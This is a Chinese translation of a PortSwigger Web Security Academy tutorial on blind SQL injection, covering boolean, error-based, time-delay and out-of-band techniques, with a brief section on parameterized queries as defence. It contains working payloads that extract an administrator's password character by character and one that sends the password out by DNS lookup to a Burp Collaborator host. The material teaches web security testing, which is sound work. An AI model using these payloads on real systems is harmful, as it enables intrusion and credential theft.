sql盲注 解决_SQL 盲注漏洞
原文來自:PORTSWIGGER WEB SECURITY >> Web Security Academy>>SQL injection >>Blind SQL injection
翻譯完畢...
本部分,我們將描述什么是 SQL 盲注漏洞,并解釋發(fā)現(xiàn)和利用 SQL 盲注漏洞的多種技術(shù)。
什么是 SQL 盲注?
當(dāng)應(yīng)用程序容易收到 SQL 注入,但其 HTTP 響應(yīng)不包含相關(guān)的 SQL 查詢結(jié)果或任何數(shù)據(jù)庫錯(cuò)誤的詳細(xì)信息時(shí),就會(huì)出現(xiàn) SQL 盲注。
在 SQL 盲注漏洞下,許多諸如 UNION 注入之類的技術(shù)都不會(huì)起作用,這是因?yàn)檫@些技術(shù)都依賴于應(yīng)用程序響應(yīng)返回注入查詢結(jié)果集。但是仍然可以利用 SQL 盲注訪問未授權(quán)數(shù)據(jù),只是必須采用不同的技術(shù)。
通過觸發(fā)條件響應(yīng)來利用 SQL 盲注
考慮存在一個(gè)使用追蹤 cookies 來收集和分析使用情況的應(yīng)用程序。對(duì)應(yīng)用程序的請(qǐng)求包括一個(gè) cookies 標(biāo)頭,如下所示:
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
當(dāng)處理包含 TrackingId cookie的請(qǐng)求時(shí),應(yīng)用程序使用 SQL 查詢來確定該用戶是否為已知用戶:
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
此查詢?nèi)菀资艿?SQL 注入漏洞影響,但查詢結(jié)果不會(huì)返回給用戶。然而,應(yīng)用程序的邏輯行為會(huì)有所不同,具體取決于查詢是否返回任何數(shù)據(jù)。如果返回?cái)?shù)據(jù)(因?yàn)橐烟峤蛔R(shí)別的 TrackingId),則頁面內(nèi)將顯示“歡迎回來”消息。
這種行為足以讓我們根據(jù)注入條件有條件的觸發(fā)不同的響應(yīng),從而利用 SQL 盲注漏洞檢索信息。要查看其工作原理,假設(shè)我們發(fā)送了兩個(gè)請(qǐng)求,這些請(qǐng)求依次包含以下 TrackingId Cookie 值:
xyz' UNION SELECT 'a' WHERE 1=1--
xyz' UNION SELECT 'a' WHERE 1=2--
第一條請(qǐng)求將會(huì)返回查詢結(jié)果,因?yàn)樽⑷霔l件 or 1=1 為 true,頁面將顯示“歡迎回來”消息。然而第二條請(qǐng)求不會(huì)返回任何查詢結(jié)果,因?yàn)樽⑷霔l件為 false,頁面不會(huì)顯示“歡迎回來”消息。這就使得我們能夠確定任何單個(gè)注入條件的答案,從而一次提取以為數(shù)據(jù)。
例如,假設(shè)數(shù)據(jù)庫存在一個(gè) users 表,該表有 username 和 password 兩個(gè)列字段,表存儲(chǔ)了用戶名為 Administrator 的一條數(shù)據(jù)。通過發(fā)送一系列輸入來一次測(cè)試一個(gè)字符,我們可以系統(tǒng)地確定該用戶的 password。
為了達(dá)到上述目的,我們以如下 payload 開始測(cè)試:
xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm'--
頁面返回“歡迎回來”消息,這表明注入條件為 true,password 字段的第一個(gè)字符的值要比 'm' 大。
下一步,我們發(fā)送第二條測(cè)試 payload:
xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 't'--
頁面沒有返回“歡迎回來”消息,這表明注入條件為 false,password 字段的第一個(gè)字符的值要小于比 't' 。
最終,我們發(fā)送如下測(cè)試 payload,頁面返回“歡迎回來”消息,這就可以確定password 字段的第一個(gè)字符的值 's':
xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) = 's'--
通過以上步驟我們可以進(jìn)一步系統(tǒng)地確認(rèn) Administrator 用戶的完整密碼。Note: The SUBSTRING function is called SUBSTR on some types of database. For more details, see the SQL injection cheat sheetLab: Blind SQL injection with conditional responses?portswigger.net
通過觸發(fā) SQL 錯(cuò)誤來誘導(dǎo)條件響應(yīng)
在前面的示例中,假設(shè)應(yīng)用程序即使執(zhí)行不同的 SQL 查詢,但是根據(jù)查詢返回的任何數(shù)據(jù)在行為上判斷都沒有不同點(diǎn)。這樣前面的方法就失效了,因?yàn)樽⑷氩煌?boolean 條件不會(huì)影響應(yīng)用程序的響應(yīng)。
在這種情況下,我們通常很可能采用根據(jù)注入條件,選擇性觸發(fā) SQL 錯(cuò)誤,來誘使應(yīng)用程序返回條件響應(yīng)。這涉及修改查詢,以便在條件為 true 時(shí)將引起數(shù)據(jù)庫錯(cuò)誤,而條件為 false 時(shí)則不會(huì)導(dǎo)致數(shù)據(jù)庫錯(cuò)誤。通常,數(shù)據(jù)庫引發(fā)的未處理錯(cuò)誤會(huì)導(dǎo)致應(yīng)用程序響應(yīng)有所不同,從而能使我們推斷出注入條件的真實(shí)性。
要查看其工作原理,假設(shè)我們發(fā)送兩個(gè)請(qǐng)求,這些請(qǐng)求依次包含以下 TrackingId cookie 值:
xyz' UNION SELECT CASE WHEN (1=2) THEN 1/0 ELSE NULL END--
xyz' UNION SELECT CASE WHEN (1=1) THEN 1/0 ELSE NULL END--
這些輸入使用 CASE 關(guān)鍵字來測(cè)試條件,并根據(jù)表達(dá)式是否為 true 來返回不同的表達(dá)式。第一條輸入,表達(dá)式為 NULL,這不會(huì)有任何錯(cuò)誤。第二條輸入中,表達(dá)式為 1/0,這會(huì)觸發(fā)數(shù)據(jù)庫的零除錯(cuò)誤。假設(shè)這個(gè)錯(cuò)誤導(dǎo)致應(yīng)用程序的 HTTP 響應(yīng)有所不同,我們可以根據(jù)差異推斷注入條件是否為 true。
使用這項(xiàng)技術(shù),再結(jié)合之前描述的手法,就可以一次驗(yàn)證一個(gè)字符系統(tǒng)地檢索數(shù)據(jù):
xyz' union select case when (username = 'Administrator' and SUBSTRING(password, 1, 1) > 'm') then 1/0 else null end from users--Note: There are various ways of triggering conditional errors, and different techniques work best on different types of database. For more details, see theSQL injection cheat sheetLab: Blind SQL injection with conditional errors?portswigger.net
通過觸發(fā)時(shí)間延時(shí)來利用 SQL 盲注
在前面的示例中,假設(shè)應(yīng)用程序現(xiàn)在捕獲數(shù)據(jù)庫錯(cuò)誤并妥善處理它們。當(dāng)執(zhí)行注入的 SQL 查詢時(shí)觸發(fā)數(shù)據(jù)庫錯(cuò)誤不再導(dǎo)致應(yīng)用程序響應(yīng)中的任何差異,因此導(dǎo)致條件錯(cuò)誤的上述技術(shù)將不起作用。
在這種情況下,通常有可能通過根據(jù)注入條件有條件地觸發(fā)時(shí)間延遲來利用盲SQL注入漏洞。由于 SQL 查詢通常由應(yīng)用程序同步處理,因此延遲執(zhí)行 SQL 查詢也會(huì)延遲 HTTP 響應(yīng)。這使我們可以根據(jù)收到 HTTP 響應(yīng)之前花費(fèi)的時(shí)間來推斷注入條件的真實(shí)性。
觸發(fā)時(shí)間延遲的技術(shù)與所使用的數(shù)據(jù)庫類型高度相關(guān)。在 Microsoft SQL Server 上,可以使用以下類似的輸入來測(cè)試條件并根據(jù)表達(dá)式是否為真觸發(fā)延遲:
'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--
這些輸入中的第一個(gè)將不會(huì)觸發(fā)延時(shí),因?yàn)闂l件 1=2 為 false,第二個(gè)輸入將觸發(fā) 10 秒的延時(shí),因?yàn)闂l件 1=1 為 true。
使用這項(xiàng)技術(shù),我們可以通過系統(tǒng)地一次測(cè)試一個(gè)字符來以已描述的方式檢索數(shù)據(jù):
'; IF (SELECT COUNT(username) FROM Users WHERE username = 'Administrator' AND SUBSTRING(password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--Note: There are various ways of triggering time delays within SQL queries, and different techniques apply on different types of database. For more details, see the SQL injection cheat sheet.Lab: Blind SQL injection with time delays?portswigger.netLab: Blind SQL injection with time delays and information retrieval?portswigger.net
使用帶外技術(shù)(OAST)利用 SQL 盲注
現(xiàn)在,假設(shè)應(yīng)用程序執(zhí)行相同的 SQL 查詢,但是采用異步方式處理。應(yīng)用程序繼續(xù)使用原始線程處理用戶請(qǐng)求,并使用另一個(gè)線程執(zhí)行使用 tracking cookie 的 SQL 查詢。該查詢依然容易被 SQL 注入漏洞攻擊,但是到目前為止,所介紹的技術(shù)都不起作用:應(yīng)用程序的響應(yīng)不取決于查詢是否返回任何數(shù)據(jù),數(shù)據(jù)庫是否發(fā)生錯(cuò)誤或執(zhí)行查詢所花費(fèi)的時(shí)間。
在這種情況下,通常有可能通過觸發(fā)與我們控制的系統(tǒng)的帶外網(wǎng)絡(luò)交互來利用 SQL 注入漏洞。如前所述,可以根據(jù)注入的條件有條件地觸發(fā)這些操作,一次推斷一位信息。但是更強(qiáng)大的是,可以直接在網(wǎng)絡(luò)交互本身中滲入數(shù)據(jù)。
可以使用多種網(wǎng)絡(luò)協(xié)議來實(shí)現(xiàn)此目的,但是最有效的通常是 DNS。這是因?yàn)楹芏嗌a(chǎn)網(wǎng)絡(luò)都允許 DNS 查詢自由發(fā)出,因?yàn)樗鼈儗?duì)于生產(chǎn)系統(tǒng)的正常運(yùn)行至關(guān)重要。
使用帶外技術(shù)的最簡單、最可靠的方法是使用 Burp Collaborator。這是一臺(tái)服務(wù)器,提供各種網(wǎng)絡(luò)服務(wù)(包括 DNS)的自定義實(shí)現(xiàn),并允許您檢測(cè)由于將單個(gè)有效負(fù)載發(fā)送給易受攻擊的應(yīng)用程序而導(dǎo)致何時(shí)發(fā)生網(wǎng)絡(luò)交互。 Burp Suite Professional 內(nèi)置對(duì) Burp Collaborator 的支持,無需進(jìn)行配置。
觸發(fā) DNS 查詢的技術(shù)與所使用的數(shù)據(jù)庫類型高度相關(guān)。在 Microsoft SQL Server 上,可以使用如下所示的輸入來在指定域上引起 DNS 查找:
'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--
這將導(dǎo)致數(shù)據(jù)庫對(duì)以下域執(zhí)行查找:
0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net
我們可以使用 Burp Suite 的 Collaborator client 生成唯一的子域,并輪詢 Collaborator 服務(wù)器以確認(rèn)何時(shí)進(jìn)行任何 DNS 查找。Lab: Blind SQL injection with out-of-band interaction?portswigger.net
確定了觸發(fā)帶外交互的方法后,我們可以使用帶外通道從易受攻擊的應(yīng)用程序中竊取數(shù)據(jù)。例如:
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
此輸入讀取 Administrator 用戶的密碼,附加唯一的 Collaborator 子域,并觸發(fā) DNS 查找。這將導(dǎo)致如下所示的 DNS 查找,從而允許我們查看捕獲的密碼:
S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net
帶外(OAST)技術(shù)是檢測(cè)和利用 SQL 盲注的一種非常強(qiáng)大的方法,因?yàn)樵摲椒ǔ晒Φ目赡苄院芨?#xff0c;并且能夠直接在帶外通道中竊取數(shù)據(jù)。因此,即使在其他盲注利用技術(shù)確實(shí)起作用的情況下,OAST 技術(shù)也通常是首選的。Note: There are various ways of triggering out-of-band interactions, and different techniques apply on different types of database. For more details, see the SQL injection cheat sheet.Lab: Blind SQL injection with out-of-band data exfiltration?portswigger.net
如何防止 SQL 盲注攻擊
盡管查找和利用 SQL 盲注漏洞所需的技術(shù)與常規(guī) SQL 注入相比有所不同且更為復(fù)雜,但是無論該漏洞是否為盲注,防止 SQL 注入所需的措施都是相同的。
與常規(guī) SQL 注入一樣,可以通過謹(jǐn)慎使用參數(shù)化查詢來防止 SQL 盲注攻擊,這可以確保用戶輸入不會(huì)干擾目標(biāo) SQL 查詢的結(jié)構(gòu)。
總結(jié)
以上是生活随笔為你收集整理的sql盲注 解决_SQL 盲注漏洞的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: npm环境安装linux,Node.js
- 下一篇: IAR软件的安装